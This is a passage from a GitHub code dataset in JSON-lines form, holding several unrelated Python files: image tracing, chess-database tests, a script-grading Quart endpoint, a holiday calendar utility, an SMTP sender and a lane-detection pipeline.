extension):\n\t\t\"\"\"Saving image\"\"\"\n\t\timg = Image.open(self.path)\t\t\t\t#Opening current image\n\t\timg.save(new_name + '.' + extension)\t#Saving with new extension\n\tdef make_bitmap(self):\n\t\t\"\"\"Making bitmap\"\"\"\n\t\tnew_path = self.path.split('.')[0] + '.' + \"pbm\"\t\t\t\t\t\t#Calculating bitmap path\n\t\topt_string = self.dict_to_string(self.bitmap_opt)\t\t\t\t\t\t#Getiing string with bitmap options from dictionary\t\n\t\tos.system('mkbitmap %s %s -o %s' % (opt_string, self.path, new_path))\t#Starting bitmap\n\t\tself.bitmap_path = new_path\t\t\t\t\t\t\t\t\t\t\t\t#Setting bitmap path \n\tdef trace_bitmap(self):\n\t\t\"\"\"Tracing bitmap\"\"\"\n\t\topt_string = self.dict_to_string(self.trace_opt)\t\t\t\t\t\t#Getiing string with trace options from dictionary\t\n\t\tos.system('potrace %s %s' % (opt_string, self.bitmap_path))\t\t\t\t#Tracing bitmap\n\tdef dict_to_string(self, dict):\n\t\t\"\"\"Extract options from dictionary to string\"\"\"\n\t\tfirst_step = map(lambda x :(x[0], str(x[1])) if isinstance(x[1], str) is not True \n\t\t\t\t\t\t\telse x, dict.items()) \t\t\t\t\t #[(str, int),(str, int), ..] => [(str, str),(str, str), ..] \n\t\tsecond_step = map(lambda x : ' '.join(x), first_step)\t\t #[(str, str),(str, str), ..] => [str, str, ..]\n\t\tresult = ' '.join(second_step)\t\t\t\t\t\t\t\t #[str, str, ..] => \"str str ...\"\t\n\t\treturn result \t\t\t\t\t\t\t\t\t\t\t\t #Returning result string \n\t\t\t","repo_name":"Ygenks/Courseworks","sub_path":"VIctorized!/PicProc.py","file_name":"PicProc.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"32135445254","text":"import datetime\nimport pytest\nfrom asyncpg.pool import Pool\n\nfrom app.db.repositories.chess_db import ChessDbRepository\nfrom app.db.repositories.chess_db_game import ChessDbGameRepository\nfrom app.models.domain.chess_database import ChessDbGame\nfrom app.models.domain.users import Auth0User\n\npytestmark = pytest.mark.asyncio\n\n\nasync def test_create_game(pool: Pool, test_auth0_user: Auth0User):\n async with pool.acquire() as conn:\n db_repo = ChessDbRepository(conn)\n game_repo = ChessDbGameRepository(conn)\n db = await db_repo.create_db(name=\"db1\", user=test_auth0_user)\n expected = ChessDbGame(\n date=datetime.date(1999, 1, 1),\n result=\"1-0\",\n event=\"Some Tournament\",\n black=\"Some guy\",\n white=\"another dude\",\n chess_db_id=db.id,\n user_id=test_auth0_user.id,\n id=11\n )\n actual = await game_repo.create_game(\n result=expected.result,\n date=expected.date,\n user_id=expected.user_id,\n white=expected.white,\n black=expected.black,\n event=expected.event,\n db_id=expected.chess_db_id\n )\n assert expected.result == actual.result\n assert expected.date == actual.date\n assert expected.user_id == actual.user_id\n assert expected.id >= 0\n assert expected.event == actual.event\n assert expected.white == actual.white\n assert expected.black == actual.black\n assert expected.chess_db_id == actual.chess_db_id\n\n # Test find by id\n assert actual == (await game_repo.find_by_id(actual.id))\n\n # Test find by db id\n by_db_id = await game_repo.find_by_db_id(db_id=db.id)\n assert len(by_db_id) == 1\n assert actual == by_db_id[0]\n\n\nasync def test_update_game(pool: Pool, test_auth0_user: Auth0User):\n async with pool.acquire() as conn:\n db_repo = ChessDbRepository(conn)\n game_repo = ChessDbGameRepository(conn)\n db = await db_repo.create_db(name=\"db1\", user=test_auth0_user)\n expected = ChessDbGame(\n date=datetime.date(1999, 1, 1),\n result=\"1-0\",\n event=\"Some Tournament\",\n black=\"Some guy\",\n white=\"another dude\",\n chess_db_id=db.id,\n user_id=test_auth0_user.id,\n id=11\n )\n expected = await game_repo.create_game(db_id=expected.chess_db_id, user_id=expected.user_id,\n white=expected.white,\n black=expected.black, event=expected.event, date=expected.date,\n result=expected.result)\n expected.date = datetime.date(2000, 1, 2)\n expected.result = \"*\"\n expected.event = \"Madrid\"\n expected.black = \"A player\"\n expected.white = \"another player\"\n actual = await game_repo.update_game(game=expected)\n assert actual == expected\n assert len(await game_repo.find_by_db_id(db_id=db.id)) == 1\n\n\nasync def test_delete_game(pool: Pool, test_auth0_user: Auth0User):\n async with pool.acquire() as conn:\n db_repo = ChessDbRepository(conn)\n game_repo = ChessDbGameRepository(conn)\n db = await db_repo.create_db(name=\"db1\", user=test_auth0_user)\n expected = ChessDbGame(\n date=datetime.date(1999, 1, 1),\n result=\"1-0\",\n event=\"Some Tournament\",\n black=\"Some guy\",\n white=\"another dude\",\n chess_db_id=db.id,\n user_id=test_auth0_user.id,\n id=11\n )\n g = await game_repo.create_game(db_id=expected.chess_db_id, user_id=expected.user_id, white=expected.white,\n black=expected.black, event=expected.event, date=expected.date,\n result=expected.result)\n assert len(await game_repo.find_by_db_id(db_id=db.id)) == 1\n await game_repo.delete_game(game_id=g.id)\n assert len(await game_repo.find_by_db_id(db_id=db.id)) == 0\n","repo_name":"LucasRoig/fast-api-chess-server","sub_path":"tests/test_repositories/test_chess_db_game_repo.py","file_name":"test_chess_db_game_repo.py","file_ext":"py","file_size_in_byte":4137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"70832422771","text":"from utils import normalizeUserList, normalizeGroupList\nfrom datetime import datetime, timedelta, timezone\nfrom itertools import zip_longest\nimport csv\n#Contains various methods for acting on the data\n\nclass Actions :\n data = None\n timeStep = timedelta(weeks=1)\n \n def __init__(self, data) :\n self.data = data\n \n def help(self, command=None) :\n helpString = \"\"\n if command == None or command == \"help\" :\n helpString += \"help \\\"\\\" -- Retrieves documentation for all commands, or the specified one.\\n\"\n if command == None or command == \"top\" :\n helpString += \"top -- Retrieves first 'num' top most messaged friends \\n\"\n if command == None or command == \"count\" :\n helpString += \"count [] -- Counts the number of messages for the given friends in the order given \\n\"\n if command == None or command == \"scale\" :\n helpString += \"scale \\\"\\\", -- Creates a x-axis to base graph operations on \\n\"\n if command == None or command == \"simple\" :\n helpString += \"simple [], -- Creates a simple frequency count graph \\n\"\n if command == None or command == \"simplesplit\" :\n helpString += \"simplesplit [], -- Creates a simple frequency count graph, with individual users \\n\"\n if command == None or command == \"csv\" :\n helpString += \"csv , \\\"\\\" -- Writes the given data to a csv file \\n\"\n if not helpString :\n helpString = \"Cannot find help for : \" + command\n return helpString\n \n def top(self, num) :\n def keyfunction(k):\n return len(self.data[k])\n \n return sorted(self.data, key=keyfunction, reverse=True)[:num]\n \n def count(self, groups) :\n groups = normalizeGroupList(groups)\n results = []\n for group in groups:\n results.append((group, len(self.data.get(group))))\n return results\n \n def scale(self, scale, units) :\n scale = scale.lower()\n scaleList = []\n timeStep = None\n if scale == \"monthly\" :\n timeStep = timedelta(days=31)\n elif scale == \"weekly\" :\n timeStep = timedelta(weeks=1)\n else :\n raise ValueError(\"Scale not supported\")\n \n currentTime = datetime.now(timezone.utc)\n \n for i in range(0, units) :\n scaleList.append(currentTime)\n currentTime = currentTime - timeStep \n scaleList.append(\"scale (%r)\" % scale)\n scaleList.reverse()\n return scaleList\n \n def simple(self, groups, scale) :\n groups = normalizeGroupList(groups)\n results = [scale]\n for group in groups:\n messages = self.data.get(group)\n if messages != None :\n messages = sorted(messages, key=lambda x: x.time)\n counts = [group]\n i = 0\n for date in scale[1:] :\n count = 0\n while i < len(messages) and messages[i].time < date :\n count += 1\n i += 1\n counts.append(count)\n results.append(counts)\n else :\n raise ValueError(\"Group not found!\")\n \n return results\n \n def simplesplit(self, groups, scale) :\n groups = normalizeGroupList(groups)\n results = [scale]\n for group in groups:\n messages = self.data.get(group)\n if messages != None :\n messages = sorted(messages, key=lambda x: x.time)\n \n counts = {}\n i=0\n datesUsed = 0\n for date in scale[1:] :\n count = {}\n \n while i < len(messages) and messages[i].time < date :\n if messages[i].sender in count :\n count[messages[i].sender] += 1\n else :\n count[messages[i].sender] = 1\n i += 1\n \n for member in count :\n if member in counts :\n counts[member].append(count[member])\n else :\n counts[member] = [str(group) + \":\" + str(member)] + [0] * datesUsed + [count[member]]\n \n datesUsed += 1\n results.extend(list(counts.values()))\n else :\n raise ValueError(\"Group not found!\")\n \n return results\n \n def csv(self, data, name) : \n rows = zip_longest(*data, fillvalue=\"--\")\n with open(name + \".csv\", 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerows(rows)\n return \"Written to : \" + name + \".csv\"","repo_name":"BlueberryDS/FB-message-grapher","sub_path":"actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":4361,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"25517348373","text":"import asyncio\nimport functools\nimport os\nimport random\nimport string\nimport subprocess\n\nfrom flask_login import current_user\nfrom quart import Blueprint, jsonify, request\nfrom sqlalchemy import desc\n\nfrom app import db\nfrom app.models import Problem, Submission\nfrom app.helper import call_child\n\nCheckerBlueprint = Blueprint('checker', __name__)\n\n\ndef check_script(filename, test, max_time):\n test_files = os.listdir('cases/' + test)\n test_files.remove('correct.py')\n for i, fname in enumerate(test_files):\n test_file = f\"cases/{test}/{fname}\"\n user = None\n\n try:\n user = call_child(filename, test_file, max_time)\n except subprocess.TimeoutExpired:\n return {'status': 400, 'err': 'Timed out.'}\n except subprocess.CalledProcessError as e:\n return {'status': 406, 'stdout': e.stderr.decode().strip()}\n \n result = call_child(f'cases/{test}/correct.py', test_file)\n if user != result:\n return {'status': 400, 'err': {\n 'expected': result,\n 'output': user,\n 'maxtest': len(test_files),\n 'input': open(f\"cases/{test}/{fname}\").read()\n }, 'score': i}\n return {'status': 200, 'message': f'OK', 'score': len(test_files)}\n\n\n@CheckerBlueprint.route('/check', methods=['POST'])\nasync def check():\n files = await request.files\n if 'file' not in files:\n return jsonify({'status': 400, 'err': \"Please upload a file.\"})\n\n file = files['file']\n if file.filename == '':\n return jsonify({'status': 400, 'err': \"Please upload a file.\"})\n\n test_name, extension = os.path.splitext(file.filename)\n if extension != '.py':\n return jsonify({'status': 400, 'err': \"Only python.\"})\n\n problem_db = Problem.query.filter_by(test_folder=test_name).first()\n if not problem_db:\n return jsonify({'status': 400, 'err': \"No test with that name.\"})\n\n dirname = f'script/{current_user.username}'\n filename = test_name + ' - ' + ''.join(random.choices(\n string.ascii_uppercase + string.digits, k=6)) + '.py'\n save_path = f'{dirname}/{filename}'\n\n if not os.path.exists(dirname):\n os.mkdir(dirname)\n file.save(save_path)\n\n result = await asyncio.get_running_loop().run_in_executor(\n None,\n functools.partial(check_script, save_path, test_name, problem_db.max_time)\n )\n\n if result['status'] == 406:\n os.unlink(save_path)\n return jsonify(result)\n\n best = Submission.query.filter_by(problem=problem_db, user=current_user).order_by(desc(Submission.score)).first()\n submit_db = True\n if best and best.score > result['score']:\n os.unlink(save_path)\n submit_db = False\n\n if submit_db:\n user_submission = Submission(score=result['score'], file=save_path, problem=problem_db, user=current_user)\n if best:\n current_user.score -= best.score\n current_user.score += result['score']\n\n db.session.add(user_submission)\n db.session.commit()\n\n return jsonify(result)\n","repo_name":"rorre/ForFunGrader","sub_path":"app/routes/Checker.py","file_name":"Checker.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"37604225928","text":"import cocotb\nfrom cocotb.clock import Clock\nfrom cocotb.triggers import Timer, FallingEdge\nfrom cocotb.result import TestFailure\n\n\n@cocotb.test()\ndef my_second_test(dut):\n\t\"\"\"This is my second test\"\"\"\n\n\tcocotb.fork(Clock(dut.clk, 5000).start())\n\n\tyield FallingEdge(dut.clk)\n\tdut.log.info(\"Starting test\")\n\n\tfor cycle in range(10):\n\t\tdut.data_in = cycle % 2\n\t\tyield FallingEdge(dut.clk)\n\t\tif int(dut.data_out) != (cycle+1) % 2:\n\t\t\traise TestFailure(\"Wrong result in cycle %d: %s\" % (cycle, str(dut.data_out)))\n\n\tdut.log.info(\"Finished test\")\n\n","repo_name":"edroque93/ace-synth","sub_path":"tests/example/test_my_example2.py","file_name":"test_my_example2.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"4495407337","text":"import concurrent.futures\nimport time\n\nstart = time.perf_counter()\n\ndef do_something(seconds):\n print(f'Sleeping for {seconds} seconds...')\n time.sleep(seconds)\n return f'Done sleeping... {seconds}'\n\n# Use ProcessPoolExecutor\n\n# Can use submit() of a PoolExecutor to run individual tasks (but still concurrently)\nwith concurrent.futures.ProcessPoolExecutor() as executor:\n seconds = [5,4,3,2,1]\n results = [executor.submit(do_something, second) for second in seconds] # list of futures\n \n for f in concurrent.futures.as_completed(results): # as_completed returns an iterator which yields results as they are completed\n print(f.result())\n\n\nfinish = time.perf_counter()\nprint(f'Finished in {finish - start:.2f} seconds')","repo_name":"MichaelHarrison87/Python-Concurrency","sub_path":"Multiprocessing/multiprocessing_new_way.py","file_name":"multiprocessing_new_way.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72306479730","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @File : get_holidays.py\n# @Author: yubin\n# @Date : 2022/4/26\n# @Desc :\n\nimport datetime\nimport chinese_calendar\nimport numpy\n\nclass DayUtils(object):\n\n def get_holidays(year=None, include_weekends=True):\n \"\"\"\n 获取某一年的所有节假日,默认当年\n :param year: which year\n :param include_weekends: False for excluding Saturdays and Sundays\n :return: list\n \"\"\"\n if not year:\n year = datetime.datetime.now().year\n else:\n year = year\n start = datetime.date(year, 1, 1)\n end = datetime.date(year, 12, 31)\n holidays = chinese_calendar.get_holidays(start, end, include_weekends)\n return holidays\n\n def get_workdays(year=None):\n \"\"\"\n 获取某一年的所有工作日,默认当年\n :param year: which year\n :param include_weekends: False for excluding Saturdays and Sundays\n :return: list\n \"\"\"\n if not year:\n year = datetime.datetime.now().year\n else:\n year = year\n start = datetime.date(year, 1, 1)\n end = datetime.date(year, 12, 31)\n workdays = chinese_calendar.get_workdays(start, end)\n return workdays\n def list2array(self,list):\n \"\"\"\n 将list转化为numpy\n :param list:\n :return:\n \"\"\"\n return numpy.array(list)\n\nif __name__ == '__main__':\n print(\"获取节假日包含周末 -- 数据类型 --\",type(DayUtils.get_holidays(2022)))\n print(DayUtils.get_holidays(2022))\n print(\"获取工作日 -- 数据类型 --\",type(DayUtils.get_workdays(2022)))\n print(DayUtils.get_workdays(2022))\n\n # 获取日期-剔除周末\n holidays = DayUtils.get_holidays(2022, 0)\n # print(holidays)\n\n #定义一个新list\n str_holidays = []\n print(\"获取节假日不包含周末 -- 数据类型 --\",type(str_holidays))\n for day in holidays:\n str_holidays.append(day.strftime(\"%Y-%m-%d\"))\n\n print(str_holidays)\n","repo_name":"YubinStudio/bili_spider_python","sub_path":"study/DateUtils/get_holidays.py","file_name":"get_holidays.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"28622856534","text":"#User function Template for python3\n\n#Function to find a continuous sub-array which adds up to a given number.\nclass Solution:\n def subArraySum(self,arr, n, s): \n i=0\n j=0\n sumi=0\n ans=[]\n while(js):\n while(sumi>s):\n sumi-=arr[i]\n i+=1\n if(sumi==s):\n ans.append(i+1)\n ans.append(j+1)\n break\n j+=1\n if len(ans)==0 or s==0:\n return [-1]\n else:\n return ans\n \n \n#{ \n # Driver Code Starts\n#Initial Template for Python 3\n\nimport math\n\ndef main():\n T=int(input())\n while(T>0):\n \n NS=input().strip().split()\n N=int(NS[0])\n S=int(NS[1])\n \n A=list(map(int,input().split()))\n ob=Solution()\n ans=ob.subArraySum(A, N, S)\n \n for i in ans:\n print(i, end=\" \")\n \n print()\n \n T-=1\n\n\nif __name__ == \"__main__\":\n main()\n# } Driver Code Ends","repo_name":"ritik-sri/LeetCode-Problem-Solution-in-PYTHON","sub_path":"Subarray with given sum - GFG/subarray-with-given-sum.py","file_name":"subarray-with-given-sum.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"11864573569","text":"# Specifying nonlocal and global to allow variable assignment\ndef funcA():\n def funcB():\n nonlocal x\n global y\n x += 5\n y += 5\n print(\"B: x =\", x, \"y =\", y)\n x = 11\n y = 21\n funcB()\n print(\"A: x =\", x, \"y =\", y)\n\nx = 10\ny = 20\nfuncA()\n","repo_name":"nicknovoa03/FunctionsNote3","sub_path":"NonlocalAndGlobalRef.py","file_name":"NonlocalAndGlobalRef.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21892264019","text":"# coding: utf-8\n\nimport six\n\nfrom huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization\n\n\nclass ExportGraphReqPaginate:\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n sensitive_list = []\n\n openapi_types = {\n 'enable': 'bool',\n 'row_count_per_file': 'int',\n 'num_thread': 'int'\n }\n\n attribute_map = {\n 'enable': 'enable',\n 'row_count_per_file': 'row_count_per_file',\n 'num_thread': 'num_thread'\n }\n\n def __init__(self, enable=None, row_count_per_file=None, num_thread=None):\n \"\"\"ExportGraphReqPaginate\n\n The model defined in huaweicloud sdk\n\n :param enable: 是否开启分页,默认为true,不需要开启分页时,需显示声明为false。\n :type enable: bool\n :param row_count_per_file: 按页导出时,每个文件最大行数,默认10000000。\n :type row_count_per_file: int\n :param num_thread: 按页导出时,并行线程数,默认为8。\n :type num_thread: int\n \"\"\"\n \n \n\n self._enable = None\n self._row_count_per_file = None\n self._num_thread = None\n self.discriminator = None\n\n if enable is not None:\n self.enable = enable\n if row_count_per_file is not None:\n self.row_count_per_file = row_count_per_file\n if num_thread is not None:\n self.num_thread = num_thread\n\n @property\n def enable(self):\n \"\"\"Gets the enable of this ExportGraphReqPaginate.\n\n 是否开启分页,默认为true,不需要开启分页时,需显示声明为false。\n\n :return: The enable of this ExportGraphReqPaginate.\n :rtype: bool\n \"\"\"\n return self._enable\n\n @enable.setter\n def enable(self, enable):\n \"\"\"Sets the enable of this ExportGraphReqPaginate.\n\n 是否开启分页,默认为true,不需要开启分页时,需显示声明为false。\n\n :param enable: The enable of this ExportGraphReqPaginate.\n :type enable: bool\n \"\"\"\n self._enable = enable\n\n @property\n def row_count_per_file(self):\n \"\"\"Gets the row_count_per_file of this ExportGraphReqPaginate.\n\n 按页导出时,每个文件最大行数,默认10000000。\n\n :return: The row_count_per_file of this ExportGraphReqPaginate.\n :rtype: int\n \"\"\"\n return self._row_count_per_file\n\n @row_count_per_file.setter\n def row_count_per_file(self, row_count_per_file):\n \"\"\"Sets the row_count_per_file of this ExportGraphReqPaginate.\n\n 按页导出时,每个文件最大行数,默认10000000。\n\n :param row_count_per_file: The row_count_per_file of this ExportGraphReqPaginate.\n :type row_count_per_file: int\n \"\"\"\n self._row_count_per_file = row_count_per_file\n\n @property\n def num_thread(self):\n \"\"\"Gets the num_thread of this ExportGraphReqPaginate.\n\n 按页导出时,并行线程数,默认为8。\n\n :return: The num_thread of this ExportGraphReqPaginate.\n :rtype: int\n \"\"\"\n return self._num_thread\n\n @num_thread.setter\n def num_thread(self, num_thread):\n \"\"\"Sets the num_thread of this ExportGraphReqPaginate.\n\n 按页导出时,并行线程数,默认为8。\n\n :param num_thread: The num_thread of this ExportGraphReqPaginate.\n :type num_thread: int\n \"\"\"\n self._num_thread = num_thread\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n if attr in self.sensitive_list:\n result[attr] = \"****\"\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n import simplejson as json\n if six.PY2:\n import sys\n reload(sys)\n sys.setdefaultencoding(\"utf-8\")\n return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)\n\n def __repr__(self):\n \"\"\"For `print`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, ExportGraphReqPaginate):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","repo_name":"huaweicloud/huaweicloud-sdk-python-v3","sub_path":"huaweicloud-sdk-ges/huaweicloudsdkges/v2/model/export_graph_req_paginate.py","file_name":"export_graph_req_paginate.py","file_ext":"py","file_size_in_byte":5366,"program_lang":"python","lang":"en","doc_type":"code","stars":104,"dataset":"github-code","pt":"20"} +{"seq_id":"20274971635","text":"from abc import ABC, abstractmethod\nfrom email.message import EmailMessage\nfrom types import TracebackType\nfrom typing import Self, Type\n\nfrom aiosmtplib import SMTP, SMTPException\nfrom faststream import Depends\nfrom tenacity import (\n retry,\n retry_if_exception_type,\n stop_after_attempt,\n wait_incrementing,\n)\n\nfrom email_worker.configs.smpt import get_smtp_server\n\n\nclass IEmailSender(ABC):\n @abstractmethod\n async def send(self, email_message: EmailMessage) -> None:\n ...\n\n @abstractmethod\n async def __aenter__(self) -> Self:\n ...\n\n @abstractmethod\n async def __aexit__(\n self,\n exc_type: Type[Exception],\n exc_val: Exception,\n exc_tb: TracebackType,\n ) -> None:\n ...\n\n\nclass EmailSender(IEmailSender):\n def __init__(self, smpt_client: SMTP) -> None:\n self.smpt_client = smpt_client\n\n @retry(\n stop=stop_after_attempt(10),\n wait=wait_incrementing(start=1, increment=5),\n retry=retry_if_exception_type(SMTPException),\n )\n async def _connect(self) -> None:\n await self.smpt_client.connect()\n\n async def __aenter__(self) -> Self:\n await self._connect()\n return self\n\n async def __aexit__(\n self,\n exc_type: Type[Exception],\n exc_val: Exception,\n exc_tb: TracebackType,\n ) -> None:\n self.smpt_client.close()\n\n async def send(self, email_message: EmailMessage) -> None:\n from_email = email_message[\"From\"]\n to_emails = email_message[\"To\"].split(\",\")\n message = email_message.as_string()\n\n await self.smpt_client.sendmail(from_email, to_emails, message)\n\n\ndef get_email_sender(\n smpt_client: SMTP = Depends(get_smtp_server),\n) -> EmailSender:\n return EmailSender(smpt_client)\n","repo_name":"alena-kono/notifications_sprint_1","sub_path":"backend/apps/email_worker/email_worker/utils/email_sender.py","file_name":"email_sender.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"29594603068","text":"import argparse\nimport matplotlib.image as mpimg\nimport os\nimport camera\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport processimage\nimport config\nimport line\n\ndef find_lane_pixels(binary_warped):\n out_img = np.dstack((binary_warped, binary_warped, binary_warped))\n window_boundary = processor.find_lane_pixels(binary_warped)\n # Step through the windows one by one\n for window in window_boundary:\n # Draw the windows on the visualization image\n cv2.rectangle(out_img,(window[0],window[4]),\n (window[1],window[5]),(0,255,0), 2)\n cv2.rectangle(out_img,(window[2],window[4]),\n (window[3],window[5]),(0,255,0), 2)\n\n return out_img\n\n# Fits a curve using actual world dimension in meters\ndef fit_polynomial(binary_warped, left_line, right_line):\n # Find our lane pixels first\n out_img = find_lane_pixels(binary_warped)\n left_line.fit_polynomial(processor.ploty, binary_warped.shape[1])\n right_line.fit_polynomial(processor.ploty, binary_warped.shape[1])\n ## Visualization ##\n # Colors in the left and right lane regions and Plots the left and right polynomials on the lane lines\n out_img[left_line.ally, left_line.allx] = [255, 0, 0]\n out_img[right_line.ally, right_line.allx] = [0, 0, 255]\n out_img[np.int32(processor.ploty), np.int32(left_line.recent_xfitted)] = [0, 255, 0]\n out_img[np.int32(processor.ploty), np.int32(right_line.recent_xfitted)] = [0, 255, 0]\n return out_img\n\ndef window_mask(width, height, img_ref, center,level):\n output = np.zeros_like(img_ref)\n output[int(img_ref.shape[0]-\n (level+1)*height):int(img_ref.shape[0]-level*height),max(0,int(center-width/2)):\n min(int(center+width/2),img_ref.shape[1])] = 1\n return output\n\ndef find_print_window_centroids(warped):\n window_height = np.int(warped.shape[0]//config.nwindows)\n window_centroids = processor.find_window_centroids(warped)\n # If we found any window centers\n if len(window_centroids) > 0:\n # Points used to draw all the left and right windows\n l_points = np.zeros_like(warped)\n r_points = np.zeros_like(warped)\n\n # Go through each level and draw the windows\n for level in range(0,len(window_centroids)):\n # Window_mask is a function to draw window areas\n \t l_mask = window_mask(config.window_width,window_height,warped,window_centroids[level][0],level)\n \t r_mask = window_mask(config.window_width,window_height,warped,window_centroids[level][1],level)\n \t # Add graphic points from window mask here to total pixels found\n \t l_points[(l_points == 255) | ((l_mask == 1) ) ] = 255\n \t r_points[(r_points == 255) | ((r_mask == 1) ) ] = 255\n\n # Draw the results\n template = np.array(r_points+l_points,np.uint8) # add both left and right window pixels together\n zero_channel = np.zeros_like(template) # create a zero color channel\n template = np.array(cv2.merge((zero_channel,template,zero_channel)),np.uint8) # make window pixels green\n warpage= np.dstack((warped, warped, warped))*255 # making the original road pixels 3 color channels\n output = cv2.addWeighted(warpage, 1, template, 0.5, 0.0) # overlay the orignal road image with window results\n\n # If no window centers found, just display orginal road image\n else:\n output = np.array(cv2.merge((warped,warped,warped)),np.uint8)\n return output\n\ndef printOverlay(undistort, warped, left_line, right_line, src, dest):\n Minv = cv2.getPerspectiveTransform(dest, src)# np.linalg.inv(cv2.getPerspectiveTransform(src, dest))\n # Create an image to draw the lines on\n warp_zero = np.zeros_like(warped).astype(np.uint8)\n color_warp = np.dstack((warp_zero, warp_zero, warp_zero))\n\n # Recast the x and y points into usable format for cv2.fillPoly()\n pts_left = np.array([np.transpose(np.vstack([left_line.recent_xfitted, processor.ploty]))])\n pts_right = np.array([np.flipud(np.transpose(np.vstack([right_line.recent_xfitted, processor.ploty])))])\n pts = np.hstack((pts_left, pts_right))\n\n # Draw the lane onto the warped blank image\n cv2.fillPoly(color_warp, np.int_([pts]), (0,255, 0))\n offset = (left_line.line_base_pos + right_line.line_base_pos)/2\n # Warp the blank back to original image space using inverse perspective matrix (Minv)\n newwarp = cv2.warpPerspective(color_warp, Minv, (image.shape[1], image.shape[0]))\n offset = (processor.left_line.line_base_pos + processor.right_line.line_base_pos)/2\n # Combine the result with the original image\n result = cv2.addWeighted(undistort, 1, newwarp, 0.3, 0)\n cv2.putText(result,'Radius of Curvature = ' + str((int)((left_line.radius_of_curvature + right_line.radius_of_curvature) / 2)) + \"(m)\", (10,30), cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 2)\n placetext= \"center\"\n if offset > 0:\n placetext = \"{0:.2f}\".format(offset) +\"m left of center\"\n elif offset < 0:\n placetext = \"{0:.2f}\".format(-offset) +\"m right of center\"\n cv2.putText(result,'Vehicle is ' + placetext, (10,60), cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 2)\n return result\n\nparser = argparse.ArgumentParser(description='Process single image. Or all image in test_images/. \\nLoad from test_images/ and output to test_images_output/.')\nparser.add_argument('filename', type=str, nargs='?', default='',\n help='filename in test_images directory')\nargs = parser.parse_args()\nif args.filename == '':\n filenames = os.listdir(\"test_images/\")\nelse:\n filenames = [args.filename]\n# src= np.float32([[564, 474], [717,474], [246, 700], [1060, 700]])\n# dst= np.float32([[246, 474], [1060,474], [246, 700], [1060, 700]])\nfor name in filenames:\n #reading in an image\n image = mpimg.imread('test_images/'+name)\n img_size = (image.shape[1], image.shape[0])\n cam = camera.Camera()\n cam.load('camera.p')\n src = np.float32(\n [[(img_size[0] / 2) - 60, img_size[1] / 2 + 100],\n [((img_size[0] / 6) - 25), img_size[1]],\n [(img_size[0] * 5 / 6) + 35, img_size[1]],\n [(img_size[0] / 2 + 60), img_size[1] / 2 + 100]])\n dst = np.float32(\n [[(img_size[0] / 4), 0],\n [(img_size[0] / 4), img_size[1]],\n [(img_size[0] * 3 / 4), img_size[1]],\n [(img_size[0] * 3 / 4), 0]])\n config = config.Config()\n config.setPerspectiveMatrix(src, dst)\n config.shape = image.shape\n config.camera = cam\n processor = processimage.ProcessImage(config)\n undistort = cam.undistort(image)\n mpimg.imsave('test_images_output/undistort_'+name, undistort)\n binary = processor.color_binary(undistort)\n mpimg.imsave('test_images_output/binary_'+name, binary)\n warped = processor.warp_image(binary)\n mpimg.imsave('test_images_output/warped_'+name, warped)\n centroids = find_print_window_centroids(warped)\n mpimg.imsave('test_images_output/centroids'+name, centroids)\n fitted = fit_polynomial(warped, processor.left_line, processor.right_line)\n mpimg.imsave('test_images_output/fitted_'+name, fitted)\n result = printOverlay(undistort, warped, processor.left_line, processor.right_line, src, dst)\n mpimg.imsave('test_images_output/overlay_'+name, result)\n","repo_name":"williamliusea/CarND-Advanced-Lane-Lines","sub_path":"image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":7219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"32605909941","text":"import json\nimport os\n\n\ndef find_state_files():\n root = os.getcwd()\n for dir_path, _, file_names in os.walk(root):\n for name in file_names:\n suffix = os.path.splitext(name)[-1]\n 